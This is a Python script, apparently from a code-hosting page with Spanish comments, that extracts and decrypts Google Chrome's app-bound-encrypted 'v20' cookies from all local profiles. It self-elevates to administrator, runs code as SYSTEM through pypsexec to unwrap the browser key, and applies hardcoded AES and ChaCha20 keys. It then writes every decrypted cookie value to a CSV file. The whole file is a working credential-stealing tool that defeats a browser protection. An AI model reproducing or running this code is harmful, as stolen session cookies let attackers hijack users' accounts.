180 lines
6.4 KiB
Python
180 lines
6.4 KiB
Python
import os
|
|
import sys
|
|
import json
|
|
import binascii
|
|
import ctypes
|
|
import base64
|
|
import sqlite3
|
|
import pandas as pd
|
|
import pathlib
|
|
from Crypto.Cipher import AES, ChaCha20_Poly1305
|
|
from pypsexec.client import Client
|
|
|
|
"""
|
|
Este script extrae cookies v20 de Google Chrome y las guarda en un archivo CSV.
|
|
Requiere privilegios de administrador para acceder a los datos de Chrome.
|
|
|
|
Conseguido para poder extraer cookies de Chrome v20, que utiliza un nuevo formato de cifrado.
|
|
|
|
"""
|
|
|
|
|
|
def is_admin():
|
|
try:
|
|
return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
|
except:
|
|
return False
|
|
|
|
|
|
def get_app_bound_key(local_state_path):
|
|
with open(local_state_path, "r", encoding="utf-8") as f:
|
|
local_state = json.load(f)
|
|
return local_state["os_crypt"]["app_bound_encrypted_key"]
|
|
|
|
|
|
def decrypt_app_bound_key(encrypted_key_b64):
|
|
arguments = "-c \"" + """import win32crypt
|
|
import binascii
|
|
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
|
|
print(binascii.b2a_base64(encrypted_key[1]).decode())
|
|
""".replace("\n", ";") + "\""
|
|
|
|
c = Client("localhost")
|
|
c.connect()
|
|
|
|
decrypted_key = None
|
|
try:
|
|
c.create_service()
|
|
|
|
assert(binascii.a2b_base64(encrypted_key_b64)[:4] == b"APPB")
|
|
stripped_key_b64 = binascii.b2a_base64(binascii.a2b_base64(encrypted_key_b64)[4:]).decode().strip()
|
|
|
|
encrypted_key_b64_sys, _, _ = c.run_executable(
|
|
sys.executable,
|
|
arguments=arguments.format(stripped_key_b64),
|
|
use_system_account=True
|
|
)
|
|
|
|
decrypted_key_b64, _, _ = c.run_executable(
|
|
sys.executable,
|
|
arguments=arguments.format(encrypted_key_b64_sys.decode().strip()),
|
|
use_system_account=False
|
|
)
|
|
|
|
decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]
|
|
finally:
|
|
c.remove_service()
|
|
c.disconnect()
|
|
|
|
return decrypted_key
|
|
|
|
|
|
def decrypt_final_key(encrypted_key):
|
|
aes_key = bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787")
|
|
chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660")
|
|
|
|
flag = encrypted_key[0]
|
|
iv = encrypted_key[1:13]
|
|
ciphertext = encrypted_key[13:45]
|
|
tag = encrypted_key[45:]
|
|
|
|
if flag == 1:
|
|
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
|
|
elif flag == 2:
|
|
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv)
|
|
else:
|
|
raise ValueError(f"Unsupported flag: {flag}")
|
|
|
|
return cipher.decrypt_and_verify(ciphertext, tag)
|
|
|
|
|
|
def decrypt_cookie_v20(encrypted_value, key):
|
|
cookie_iv = encrypted_value[3:15]
|
|
encrypted_cookie = encrypted_value[15:-16]
|
|
cookie_tag = encrypted_value[-16:]
|
|
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
|
|
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
|
|
return decrypted_cookie[32:].decode('utf-8')
|
|
|
|
|
|
def extract_all_v20_cookies():
|
|
user_profile = os.environ['USERPROFILE']
|
|
local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
|
|
base_profile_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data"
|
|
|
|
app_bound_key_b64 = get_app_bound_key(local_state_path)
|
|
decrypted_key_raw = decrypt_app_bound_key(app_bound_key_b64)
|
|
final_key = decrypt_final_key(decrypted_key_raw)
|
|
|
|
perfiles_invalidos = {"System Profile", "Guest Profile", "CrashpadMetrics"}
|
|
perfiles = [
|
|
name for name in os.listdir(base_profile_path)
|
|
if os.path.isdir(os.path.join(base_profile_path, name))
|
|
and name not in perfiles_invalidos
|
|
and os.path.exists(os.path.join(base_profile_path, name, "Network", "Cookies"))
|
|
]
|
|
|
|
all_cookies = []
|
|
|
|
for profile in perfiles:
|
|
db_path = os.path.join(base_profile_path, profile, "Network", "Cookies")
|
|
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
|
|
cur = con.cursor()
|
|
r = cur.execute("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, last_access_utc, CAST(encrypted_value AS BLOB) from cookies;")
|
|
cookies = cur.fetchall()
|
|
con.close()
|
|
|
|
for row in cookies:
|
|
host, name, path, is_secure, is_httponly, expires_utc, last_access_utc, encrypted_value = row
|
|
encrypted_value_b64 = base64.b64encode(encrypted_value).decode()
|
|
|
|
if encrypted_value.startswith(b"v20"):
|
|
try:
|
|
value = decrypt_cookie_v20(encrypted_value, final_key)
|
|
print(f"[✓] {host} {name}: {value}")
|
|
all_cookies.append({
|
|
"host": host,
|
|
"name": name,
|
|
"path": path,
|
|
"value": value,
|
|
"encrypted_value_b64": encrypted_value_b64,
|
|
"expires_utc": expires_utc,
|
|
"is_secure": is_secure,
|
|
"is_httponly": is_httponly,
|
|
"last_access_utc": last_access_utc,
|
|
"profile": profile,
|
|
"is_decrypted": True,
|
|
"decrypt_error": ""
|
|
})
|
|
except Exception as e:
|
|
print(f"[x] Error decrypting {host} {name}: {e}")
|
|
all_cookies.append({
|
|
"host": host,
|
|
"name": name,
|
|
"path": path,
|
|
"value": "",
|
|
"encrypted_value_b64": encrypted_value_b64,
|
|
"expires_utc": expires_utc,
|
|
"is_secure": is_secure,
|
|
"is_httponly": is_httponly,
|
|
"last_access_utc": last_access_utc,
|
|
"profile": profile,
|
|
"is_decrypted": False,
|
|
"decrypt_error": str(e)
|
|
})
|
|
|
|
return pd.DataFrame(all_cookies)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
if not is_admin():
|
|
input("Este script necesita ejecutarse como administrador. Presiona Enter para reiniciar con privilegios...")
|
|
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join([sys.argv[0]] + sys.argv[1:]), None, 1)
|
|
sys.exit()
|
|
|
|
print("[*] Extrayendo cookies v20 desde todos los perfiles...")
|
|
df = extract_all_v20_cookies()
|
|
df.to_csv("cookies_extraidas.csv", index=False, encoding="utf-8")
|
|
print(f"[✓] Cookies v20 extraídas: {len(df)}")
|
|
print("[✓] Guardado en 'cookies_extraidas.csv'")
|